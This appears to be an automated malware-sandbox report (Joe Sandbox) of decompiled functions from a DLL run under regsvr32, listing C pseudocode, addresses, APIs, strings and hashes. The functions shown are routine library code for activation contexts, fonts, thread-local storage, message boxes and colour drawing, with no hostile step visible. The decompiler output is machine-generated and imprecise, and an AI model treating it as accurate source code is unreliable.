Opcode ID: 96c26176f6b91fef86aa762fbfc3f66616de0451a991a721008914ea571c59fe
Instruction ID: 1a32fd45fe946074855291df04b10f6242ae2ac772a951c47c836129de83a717
Opcode Fuzzy Hash: 96c26176f6b91fef86aa762fbfc3f66616de0451a991a721008914ea571c59fe
Instruction Fuzzy Hash: 3311CD70810B81AADF209FF9D844B9EBFF4AF04314F10492ED5A99B790DB34AA00CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB500B4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB500B4(intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t5;
				_Unknown_base(*)()* _t10;
				struct HINSTANCE__* _t18;
				void* _t19;
				char _t21;
				intOrPtr _t23;
				_Unknown_base(*)()* _t24;
				_Unknown_base(*)()* _t25;

				_push(__ecx);
				_t5 = __ecx;
				_t16 = _a4;
				 *((intOrPtr*)(__ecx)) = _a4;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				_v8 = __ecx;
				_t21 =  *0x6eb8c6c4; // 0x0
				if(_t21 == 0) {
					_push(_t19);
					_t18 = GetModuleHandleA("KERNEL32");
					_t22 = _t18;
					if(_t18 == 0) {
						L2:
						E6EB48BA4(0, _t16, _t18, _t19, _t22);
					}
					 *0x6eb8c6b4 = GetProcAddress(_t18, "CreateActCtxA");
					 *0x6eb8c6b8 = GetProcAddress(_t18, "ReleaseActCtx");
					 *0x6eb8c6bc = GetProcAddress(_t18, "ActivateActCtx");
					_t10 = GetProcAddress(_t18, "DeactivateActCtx");
					_pop(_t18);
					 *0x6eb8c6c0 = _t10;
					_pop(_t19);
					_t23 =  *0x6eb8c6b4; // 0x0
					if(_t23 == 0) {
						__eflags =  *0x6eb8c6b8; // 0x0
						if(__eflags != 0) {
							goto L2;
						} else {
							__eflags =  *0x6eb8c6bc; // 0x0
							if(__eflags != 0) {
								goto L2;
							} else {
								__eflags = _t10;
								if(__eflags != 0) {
									goto L2;
								}
							}
						}
					} else {
						_t24 =  *0x6eb8c6b8; // 0x0
						if(_t24 == 0) {
							goto L2;
						} else {
							_t25 =  *0x6eb8c6bc; // 0x0
							if(_t25 == 0) {
								goto L2;
							} else {
								_t22 = _t10;
								if(_t10 == 0) {
									goto L2;
								}
							}
						}
					}
					_t5 = _v8;
					 *0x6eb8c6c4 = 1;
				}
				return _t5;
			}

0x6eb500b9
0x6eb500ba
0x6eb500bc
0x6eb500c2
0x6eb500c4
0x6eb500c7
0x6eb500ca
0x6eb500d0
0x6eb500d6
0x6eb500e3
0x6eb500e5
0x6eb500e7
0x6eb500e9
0x6eb500e9
0x6eb500e9
0x6eb50102
0x6eb5010f
0x6eb5011c
0x6eb50121
0x6eb50123
0x6eb50124
0x6eb50129
0x6eb5012a
0x6eb50130
0x6eb50148
0x6eb5014e
0x00000000
0x6eb50150
0x6eb50150
0x6eb50156
0x00000000
0x6eb50158
0x6eb50158
0x6eb5015a
0x00000000
0x00000000
0x6eb5015a
0x6eb50156
0x6eb50132
0x6eb50132
0x6eb50138
0x00000000
0x6eb5013a
0x6eb5013a
0x6eb50140
0x00000000
0x6eb50142
0x6eb50142
0x6eb50144
0x00000000
0x6eb50146
0x6eb50144
0x6eb50140
0x6eb50138
0x6eb5015c
0x6eb5015f
0x6eb5015f
0x6eb50168

APIs

GetModuleHandleA.KERNEL32(KERNEL32), ref: 6EB500DD
GetProcAddress.KERNEL32(00000000,CreateActCtxA), ref: 6EB500FA
GetProcAddress.KERNEL32(00000000,ReleaseActCtx), ref: 6EB50107
GetProcAddress.KERNEL32(00000000,ActivateActCtx), ref: 6EB50114
GetProcAddress.KERNEL32(00000000,DeactivateActCtx), ref: 6EB50121

Strings

DeactivateActCtx, xrefs: 6EB50116
ActivateActCtx, xrefs: 6EB50109
KERNEL32, xrefs: 6EB500D8
CreateActCtxA, xrefs: 6EB500F4
ReleaseActCtx, xrefs: 6EB500FC

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ActivateActCtx$CreateActCtxA$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 667068680-3617302793
Opcode ID: c77a9178d0de7286b96f63fd9094f13b98090dab9ba459378d11aa0bd61e90ce
Instruction ID: 2763be727cdaacac247075826457a5072d2550cb44b62d914f2f5a9381af8b3f
Opcode Fuzzy Hash: c77a9178d0de7286b96f63fd9094f13b98090dab9ba459378d11aa0bd61e90ce
Instruction Fuzzy Hash: ED1151F1809786AFCF60AFE6888481BBEB9FA7B348305563FE1049B710E6708550CF12

Uniqueness

Uniqueness Score: -1.00%

Function 6EB60266 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6EB60266(intOrPtr __ecx, signed int _a4) {
				signed int _v8;
				char _v40;
				void _v68;
				intOrPtr _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t12;
				void* _t14;
				char* _t23;
				void* _t29;
				signed short _t30;
				struct HDC__* _t31;
				signed int _t32;

				_t12 =  *0x6eb89470; // 0x6287ae78
				_v8 = _t12 ^ _t32;
				_t31 = GetStockObject;
				_t30 = 0xa;
				_v72 = __ecx;
				_t23 = "System";
				_t14 = GetStockObject(0x11);
				if(_t14 != 0) {
					L2:
					if(GetObjectA(_t14, 0x3c,  &_v68) != 0) {
						_t23 =  &_v40;
						_t31 = GetDC(0);
						if(_v68 < 0) {
							_v68 =  ~_v68;
						}
						_t30 = MulDiv(_v68, 0x48, GetDeviceCaps(_t31, 0x5a)) & 0x0000ffff;
						ReleaseDC(0, _t31);
					}
					L6:
					_t16 = _a4;
					if(_a4 == 0) {
						_t16 = _t30 & 0x0000ffff;
					}
					return E6EB63DE0(L6EB60112(_t23, _v72, _t29, _t31, _t23, _t16), _t23, _v8 ^ _t32, _t29, _t30, _t31);
				}
				_t14 = GetStockObject(0xd);
				if(_t14 == 0) {
					goto L6;
				}
				goto L2;
			}

0x6eb6026e
0x6eb60275
0x6eb6027a
0x6eb60283
0x6eb60286
0x6eb60289
0x6eb6028e
0x6eb60292
0x6eb6029c
0x6eb602ab
0x6eb602af
0x6eb602bc
0x6eb602be
0x6eb602c0
0x6eb602c0
0x6eb602db
0x6eb602de
0x6eb602de
0x6eb602e4
0x6eb602e4
0x6eb602ea
0x6eb602ec
0x6eb602ec
0x6eb60307
0x6eb60307
0x6eb60296
0x6eb6029a
0x00000000
0x00000000
0x00000000

APIs

GetStockObject.GDI32(00000011), ref: 6EB6028E
GetStockObject.GDI32(0000000D), ref: 6EB60296
GetObjectA.GDI32(00000000,0000003C,?), ref: 6EB602A3
GetDC.USER32 ref: 6EB602B2
GetDeviceCaps.GDI32(00000000,0000005A), ref: 6EB602C6
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 6EB602D2
ReleaseDC.USER32 ref: 6EB602DE

Strings

System, xrefs: 6EB60289, 6EB602F3

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: 49d48c7044cac5b0c479e9d1761c5f8e926056a0ee9edba107e8f1f7eefb11ea
Instruction ID: 9f16d8cfa404195facbd66dd7e68bfb081baf689f83fcfdd98a7e1bfae8e8968
Opcode Fuzzy Hash: 49d48c7044cac5b0c479e9d1761c5f8e926056a0ee9edba107e8f1f7eefb11ea
Instruction Fuzzy Hash: 14113D71A50669EBEF209BA2CC49FEE7BB8EF55745F010015F601A7280EA709D01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB558E2 Relevance: 13.6, APIs: 9, Instructions: 96
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E6EB558E2(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t36;
				void* _t39;
				long _t41;
				void* _t42;
				long _t47;
				void* _t53;
				signed int _t55;
				long* _t62;
				struct _CRITICAL_SECTION* _t64;
				void* _t65;
				void* _t66;

				_push(0x10);
				E6EB6652E(0x6eb77b79, __ebx, __edi, __esi);
				_t62 = __ecx;
				 *((intOrPtr*)(_t66 - 0x18)) = __ecx;
				_t64 = __ecx + 0x1c;
				 *(_t66 - 0x14) = _t64;
				EnterCriticalSection(_t64);
				_t36 =  *(_t66 + 8);
				if(_t36 <= 0 || _t36 >= _t62[3]) {
					_push(_t64);
				} else {
					_t65 = TlsGetValue( *_t62);
					if(_t65 == 0) {
						 *(_t66 - 4) = 0;
						_t39 = E6EB55562(0x10);
						__eflags = _t39;
						if(__eflags == 0) {
							_t65 = 0;
							__eflags = 0;
						} else {
							 *_t39 = 0x6eb7b2d4;
							_t65 = _t39;
						}
						 *(_t66 - 4) =  *(_t66 - 4) | 0xffffffff;
						_t51 =  &(_t62[5]);
						 *(_t65 + 8) = 0;
						 *(_t65 + 0xc) = 0;
						E6EB55694( &(_t62[5]), _t65);
						goto L5;
					} else {
						_t55 =  *(_t66 + 8);
						if(_t55 >=  *(_t65 + 8) &&  *((intOrPtr*)(_t66 + 0xc)) != 0) {
							L5:
							_t75 =  *(_t65 + 0xc);
							if( *(_t65 + 0xc) != 0) {
								_t41 = E6EB4847A(_t51, __eflags, _t62[3], 4);
								_t53 = 2;
								_t42 = LocalReAlloc( *(_t65 + 0xc), _t41, ??);
							} else {
								_t47 = E6EB4847A(_t51, _t75, _t62[3], 4);
								_pop(_t53);
								_t42 = LocalAlloc(0, _t47);
							}
							_t76 = _t42;
							if(_t42 == 0) {
								LeaveCriticalSection( *(_t66 - 0x14));
								_t42 = E6EB48B6C(0, _t53, _t62, _t65, _t76);
							}
							 *(_t65 + 0xc) = _t42;
							E6EB65E80(_t62, _t42 +  *(_t65 + 8) * 4, 0, _t62[3] -  *(_t65 + 8) << 2);
							 *(_t65 + 8) = _t62[3];
							TlsSetValue( *_t62, _t65);
							_t55 =  *(_t66 + 8);
						}
					}
					_t36 =  *(_t65 + 0xc);
					if(_t36 != 0 && _t55 <  *(_t65 + 8)) {
						 *((intOrPtr*)(_t36 + _t55 * 4)) =  *((intOrPtr*)(_t66 + 0xc));
					}
					_push( *(_t66 - 0x14));
				}
				LeaveCriticalSection();
				return E6EB665D3(_t36);
			}

0x6eb558e2
0x6eb558e9
0x6eb558ee
0x6eb558f0
0x6eb558f3
0x6eb558f7
0x6eb558fa
0x6eb55900
0x6eb55907
0x6eb55a08
0x6eb55916
0x6eb5591e
0x6eb55922
0x6eb55956
0x6eb55959
0x6eb5595e
0x6eb55960
0x6eb5596c
0x6eb5596c
0x6eb55962
0x6eb55962
0x6eb55968
0x6eb55968
0x6eb5596e
0x6eb55973
0x6eb55976
0x6eb55979
0x6eb5597c
0x00000000
0x6eb55924
0x6eb55924
0x6eb5592a
0x6eb55939
0x6eb55939
0x6eb5593c
0x6eb559a0
0x6eb559a6
0x6eb559ab
0x6eb5593e
0x6eb55943
0x6eb55949
0x6eb5594c
0x6eb5594c
0x6eb559b1
0x6eb559b3
0x6eb559b8
0x6eb559be
0x6eb559be
0x6eb559c6
0x6eb559d7
0x6eb559e3
0x6eb559e8
0x6eb559ee
0x6eb559ee
0x6eb5592a
0x6eb559f1
0x6eb559f6
0x6eb55a00
0x6eb55a00
0x6eb55a03
0x6eb55a03
0x6eb55a09
0x6eb55a14

APIs

__EH_prolog3_catch.LIBCMT ref: 6EB558E9
EnterCriticalSection.KERNEL32(?,00000010,6EB55AB2,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB558FA
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB55918
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB5594C
LeaveCriticalSection.KERNEL32(00000000,?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB559B8
_memset.LIBCMT ref: 6EB559D7
TlsSetValue.KERNEL32(?,00000000,00000000,00000000), ref: 6EB559E8
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB55A09

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalSection$LeaveValue$AllocEnterH_prolog3_catchLocal_memset
String ID:
API String ID: 1891723912-0
Opcode ID: a6b79bf09a72829d0d023791a22cf7aa881fa5da805d4a099d9cacebd26b2c25
Instruction ID: 7f0d96654e1d5ca72e9b48a94e7b64931c6451c660d7b83f6881bfeb78e8c6d1
Opcode Fuzzy Hash: a6b79bf09a72829d0d023791a22cf7aa881fa5da805d4a099d9cacebd26b2c25
Instruction Fuzzy Hash: 5531C270412696EFDF11DFA4C884D9EBFB5FF00321B11C529E56697A60CB30A960CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4889E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 115
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E6EB4889E(void* __ecx, void* __edx, void* __eflags, long _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				char _v268;
				struct HWND__* _v272;
				signed int _v276;
				long _v280;
				struct HWND__* _v284;
				intOrPtr _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t36;
				signed int _t53;
				intOrPtr _t56;
				long _t59;
				struct HWND__* _t62;
				CHAR* _t63;
				void* _t64;
				void* _t66;
				void* _t70;
				void* _t71;
				long _t72;
				void* _t73;
				void* _t74;
				signed int _t76;
				void* _t77;
				signed int _t81;

				_t70 = __edx;
				_t79 = _t81;
				_t36 =  *0x6eb89470; // 0x6287ae78
				_v8 = _t36 ^ _t81;
				_t72 = _a4;
				_t76 = 0;
				_v288 = _a8;
				E6EB487B3(0);
				_t66 = _t71;
				_t62 = E6EB487EC(0,  &_v272);
				_v284 = _t62;
				if(_t62 != _v272) {
					EnableWindow(_t62, 1);
				}
				_v280 = _v280 & _t76;
				GetWindowThreadProcessId(_t62,  &_v280);
				if(_t62 == 0 || _v280 != GetCurrentProcessId()) {
					L7:
					__eflags = _t72;
					if(__eflags != 0) {
						_t76 = _t72 + 0x78;
					}
					goto L9;
				} else {
					_t59 = SendMessageA(_t62, 0x376, 0, 0);
					if(_t59 == 0) {
						goto L7;
					} else {
						_t76 = _t59;
						L9:
						_v276 = _v276 & 0x00000000;
						if(_t76 != 0) {
							_v276 =  *_t76;
							_t56 = _a16;
							if(_t56 != 0) {
								 *_t76 = _t56 + 0x30000;
							}
						}
						if((_a12 & 0x000000f0) == 0) {
							_t53 = _a12 & 0x0000000f;
							if(_t53 <= 1) {
								_t23 =  &_a12;
								 *_t23 = _a12 | 0x00000030;
								__eflags =  *_t23;
							} else {
								if(_t53 + 0xfffffffd <= 1) {
									_a12 = _a12 | 0x00000020;
								}
							}
						}
						_v268 = 0;
						_t96 = _t72;
						if(_t72 == 0) {
							_t63 =  &_v268;
							_t72 = 0x104;
							__eflags = GetModuleFileNameA(0, _t63, 0x104) - 0x104;
							if(__eflags == 0) {
								_v9 = 0;
							}
						} else {
							_t63 =  *(_t72 + 0x50);
						}
						_push(_a12);
						_push(_t63);
						_push(_v288);
						_push(_v284);
						_t73 = E6EB48709(_t63, _t66, _t72, _t76, _t96);
						if(_t76 != 0) {
							 *_t76 = _v276;
						}
						if(_v272 != 0) {
							EnableWindow(_v272, 1);
						}
						E6EB487B3(1);
						_pop(_t74);
						_pop(_t77);
						_pop(_t64);
						return E6EB63DE0(_t73, _t64, _v8 ^ _t79, _t70, _t74, _t77);
					}
				}
			}

0x6eb4889e
0x6eb488a1
0x6eb488a9
0x6eb488b0
0x6eb488b9
0x6eb488bc
0x6eb488bf
0x6eb488c5
0x6eb488ca
0x6eb488d8
0x6eb488da
0x6eb488e6
0x6eb488eb
0x6eb488eb
0x6eb488f1
0x6eb488ff
0x6eb48907
0x6eb4892f
0x6eb4892f
0x6eb48931
0x6eb48933
0x6eb48933
0x00000000
0x6eb48917
0x6eb48921
0x6eb48929
0x00000000
0x6eb4892b
0x6eb4892b
0x6eb48936
0x6eb48936
0x6eb4893f
0x6eb48943
0x6eb48949
0x6eb4894e
0x6eb48955
0x6eb48955
0x6eb4894e
0x6eb4895b
0x6eb48960
0x6eb48966
0x6eb48976
0x6eb48976
0x6eb48976
0x6eb48968
0x6eb4896e
0x6eb48970
0x6eb48970
0x6eb4896e
0x6eb48966
0x6eb4897a
0x6eb48981
0x6eb48983
0x6eb4898a
0x6eb48990
0x6eb489a1
0x6eb489a3
0x6eb489a5
0x6eb489a5
0x6eb48985
0x6eb48985
0x6eb48985
0x6eb489a9
0x6eb489ac
0x6eb489ad
0x6eb489b3
0x6eb489c1
0x6eb489c5
0x6eb489cd
0x6eb489cd
0x6eb489d6
0x6eb489e0
0x6eb489e0
0x6eb489e8
0x6eb489f3
0x6eb489f4
0x6eb489f7
0x6eb489fe
0x6eb489fe
0x6eb48929

APIs

Part of subcall function 6EB487EC: GetParent.USER32(?), ref: 6EB48840
Part of subcall function 6EB487EC: GetLastActivePopup.USER32(?), ref: 6EB48851
Part of subcall function 6EB487EC: IsWindowEnabled.USER32(?), ref: 6EB48865
Part of subcall function 6EB487EC: EnableWindow.USER32(?,00000000), ref: 6EB48878

EnableWindow.USER32(?,00000001), ref: 6EB488EB
GetWindowThreadProcessId.USER32(?,?), ref: 6EB488FF
GetCurrentProcessId.KERNEL32 ref: 6EB48909
SendMessageA.USER32 ref: 6EB48921
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 6EB4899B
EnableWindow.USER32(00000000,00000001), ref: 6EB489E0

Strings

0, xrefs: 6EB48976

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID: 0
API String ID: 1877664794-4108050209
Opcode ID: afe7c0221bb4e248cbbd534877868914cb23ecbc16b4b4427de39b8b1d744efa
Instruction ID: b97e08af10747471932e5ae369c2a8dd8302c8e1187279fc4357f5eb3b1cd59e
Opcode Fuzzy Hash: afe7c0221bb4e248cbbd534877868914cb23ecbc16b4b4427de39b8b1d744efa
Instruction Fuzzy Hash: 7341C332A00A99DBDF218FA4CC55BDA7BB8FF45714F100594FA54A7288D7B0DA809FD2

Uniqueness

Uniqueness Score: -1.00%

Function 6EB473C0 Relevance: 12.2, APIs: 8, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6EB473C0(void* __ecx, void* __eflags, void* __fp0) {
				short _v12;
				char _v16;
				signed int _v24;
				char _v42;
				intOrPtr _v50;
				signed int _v58;
				char _v116;
				struct HDC__* _v120;
				signed long long _v132;
				char _v134;
				struct HDC__* _v146;
				struct tagRECT _v148;
				char _v150;
				void* _v162;
				signed int _v176;
				struct HBRUSH__* _v180;
				signed int _v182;
				intOrPtr _v192;
				struct HBRUSH__* _v194;
				intOrPtr _v196;
				char _v198;
				short _v200;
				int _v204;
				intOrPtr _v206;
				short _v208;
				char _v210;
				intOrPtr _v212;
				int _v216;
				intOrPtr _v220;
				struct tagRECT _v226;
				short _v228;
				short _v230;
				int _v232;
				intOrPtr _v234;
				int _v238;
				short _v240;
				intOrPtr _v242;
				signed short _v252;
				short _v254;
				signed long long _v258;
				short _v262;
				short _v266;
				signed int _v274;
				signed short _v278;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t102;
				signed int _t104;
				intOrPtr _t120;
				short _t122;
				signed int _t129;
				void* _t130;
				intOrPtr _t131;
				void* _t143;
				signed short _t148;
				long _t149;
				void* _t150;
				int _t160;
				short _t164;
				short _t188;
				short _t200;
				RECT* _t201;
				void* _t202;
				void* _t204;
				void* _t206;
				signed int _t207;
				signed int _t209;
				void* _t216;
				signed long long _t218;

				_t216 = __fp0;
				_t210 = __eflags;
				_push(0xffffffff);
				_push(0x6eb78713);
				_push( *[fs:0x0]);
				_t209 = (_t207 & 0xfffffff8) - 0xe8;
				_t102 =  *0x6eb89470; // 0x6287ae78
				_v24 = _t102 ^ _t209;
				_t104 =  *0x6eb89470; // 0x6287ae78
				_push(_t104 ^ _t209);
				 *[fs:0x0] =  &_v16;
				_t204 = __ecx;
				_push(__ecx);
				E6EB49B33( &_v116, __ecx, __eflags);
				_t148 = 0;
				_v12 = 0;
				GetClientRect( *(__ecx + 0x20),  &(_v148.top));
				_push(GetSysColor(0xf));
				E6EB49E16( &_v180, _t204, _t210);
				_v16 = 1;
				FrameRect(_v120,  &_v148, _v180);
				_t160 = (0x2aaaaaab * (_v148.right - _v148.left) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v148.right - _v148.left) >> 0x20 >> 2);
				_t120 = (0x2aaaaaab * (_v148.bottom - _v148.top.left) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v148.bottom - _v148.top.left) >> 0x20 >> 2);
				_t188 = 1;
				_v216 = _t160;
				_v220 = _t120;
				_v212 = 0x7fff;
				_v240 = 0;
				_v232 = 1;
				while(1) {
					asm("fild dword [esp+0x20]");
					_v204 = 1;
					_v200 = _t188;
					_v196 = _t160 + 1;
					_t218 = (_t216 +  *0x6eb7fe58) *  *0x6eb7fe50;
					_v192 = _t120 + _t188;
					_t122 = E6EB676F0(_t120 + _t188, _t218);
					_v208 = _t122;
					_v176 = _t122 * _t122;
					_t200 = 0;
					asm("fild dword [esp+0x40]");
					_v252 = _t148;
					_v132 = _t218;
					while(1) {
						_t164 =  *(_t204 + 0x74);
						_v228 = _t164;
						_t149 = ColorHLSToRGB(_t200, _t164, _t122);
						 *((intOrPtr*)(_v262 +  *((intOrPtr*)(_t204 + 0x58)))) = _t149;
						E6EB53F35( &_v134,  &(_v226.bottom), _t149);
						ColorRGBToHLS( *(_t204 + 0x70),  &_v254,  &_v262,  &_v266);
						_v226.right = (_v266 & 0x0000ffff) - _t200;
						_t129 = _v278 & 0x0000ffff;
						_v258 = (_v274 & 0x0000ffff) - _v258;
						_v194 = _t129 * _t129 + _v206;
						_v182 = _t129;
						asm("fild dword [esp+0x2c]");
						_v258 = _t218;
						asm("fild dword [esp+0x6c]");
						_v194 = _t218;
						asm("fild dword [esp+0x54]");
						_t130 = E6EB76660((_v274 & 0x0000ffff) - _v258, _t129 * _t129 + _v206, _t218 *  *0x6eb7fe48);
						asm("fild dword [esp+0x78]");
						asm("fmulp st1, st0");
						asm("fsubr qword [esp+0x6c]");
						_t218 = _v258 * st0;
						asm("faddp st1, st0");
						_t131 = E6EB676F0(_t130, _t218);
						if(_t131 < _v242) {
							_v234 = _t131;
							 *(_t204 + 0x60) = _v226.left;
							 *((intOrPtr*)(_t204 + 0x64)) = _v226.top;
							 *((intOrPtr*)(_t204 + 0x68)) = _v226.right;
							 *((intOrPtr*)(_t204 + 0x6c)) = _v226.bottom;
							 *((intOrPtr*)(_t204 + 0x5c)) = _t149;
						}
						OffsetRect( &_v226, _v238, 0);
						_v274 = _v274 + 4;
						_t200 = _t200 + 0xa;
						if(_t200 >= 0xf0) {
							break;
						}
						_t122 = _v230;
					}
					_t120 = _v242;
					_t148 = _v274;
					_v262 = _v262 + 1;
					_v254 = _v254 + _t120;
					if(_t148 < 0x900) {
						_t160 = _v238;
						_t188 = _v254;
						continue;
					}
					_t201 = _t204 + 0x60;
					InflateRect(_t201, 1, 1);
					_push(((0 |  *(_t204 + 0x74) - 0x000000d2 <= 0x00000000) - 0x00000001 & 0xff64c8c9) + 0xffffff);
					E6EB49E16( &_v194, _t204,  *(_t204 + 0x74) - 0xd2);
					FrameRect(_v146, _t201, _v194);
					_v198 = 0x6eb79cf0;
					L6EB41070( &_v198, _v146);
					_v42 = 0;
					_v210 = 0x6eb79cf0;
					L6EB41070( &_v210, _v146);
					_v42 = 0xffffffff;
					_t143 = E6EB49B87(_t148,  &_v150, _t201, 0x6eb79cf0,  *(_t204 + 0x74) - 0xd2);
					 *[fs:0x0] = _v50;
					_pop(_t202);
					_pop(_t206);
					_pop(_t150);
					return E6EB63DE0(_t143, _t150, _v58 ^ _t209, _v146, _t202, _t206);
				}
			}

0x6eb473c0
0x6eb473c0
0x6eb473c6
0x6eb473c8
0x6eb473d3
0x6eb473d4
0x6eb473da
0x6eb473e1
0x6eb473eb
0x6eb473f2
0x6eb473fa
0x6eb47400
0x6eb47402
0x6eb4740a
0x6eb4740f
0x6eb47415
0x6eb47421
0x6eb4742f
0x6eb47434
0x6eb47439
0x6eb47456
0x6eb47476
0x6eb47495
0x6eb47497
0x6eb4749c
0x6eb474a0
0x6eb474a4
0x6eb474ac
0x6eb474b0
0x6eb474c8
0x6eb474c8
0x6eb474da
0x6eb474de
0x6eb474e2
0x6eb474e6
0x6eb474ec
0x6eb474f0
0x6eb474fa
0x6eb474fe
0x6eb47502
0x6eb47504
0x6eb47508
0x6eb4750c
0x6eb47519
0x6eb47519
0x6eb4751f
0x6eb4752c
0x6eb4753f
0x6eb47542
0x6eb4755a
0x6eb47570
0x6eb47574
0x6eb47582
0x6eb47586
0x6eb4758a
0x6eb4758e
0x6eb47592
0x6eb47596
0x6eb4759a
0x6eb4759e
0x6eb475a8
0x6eb475ad
0x6eb475ba
0x6eb475bc
0x6eb475c4
0x6eb475c6
0x6eb475c8
0x6eb475d1
0x6eb475db
0x6eb475e3
0x6eb475ea
0x6eb475ed
0x6eb475f0
0x6eb475f3
0x6eb475f3
0x6eb47602
0x6eb47608
0x6eb4760d
0x6eb47616
0x00000000
0x00000000
0x6eb47515
0x6eb47515
0x6eb4761c
0x6eb47620
0x6eb47624
0x6eb47628
0x6eb47632
0x6eb474c0
0x6eb474c4
0x00000000
0x6eb474c4
0x6eb4763c
0x6eb47640
0x6eb47661
0x6eb47662
0x6eb47675
0x6eb47684
0x6eb47688
0x6eb4768d
0x6eb47699
0x6eb4769d
0x6eb476a9
0x6eb476b4
0x6eb476c0
0x6eb476c8
0x6eb476c9
0x6eb476ca
0x6eb476dc
0x6eb476dc

APIs

Part of subcall function 6EB49B33: __EH_prolog3.LIBCMT ref: 6EB49B3A
Part of subcall function 6EB49B33: BeginPaint.USER32(?,?,00000004,6EB529FE,?,00000058,6EB4622F), ref: 6EB49B66

GetClientRect.USER32 ref: 6EB47421
GetSysColor.USER32(0000000F), ref: 6EB47429

Part of subcall function 6EB49E16: __EH_prolog3.LIBCMT ref: 6EB49E1D
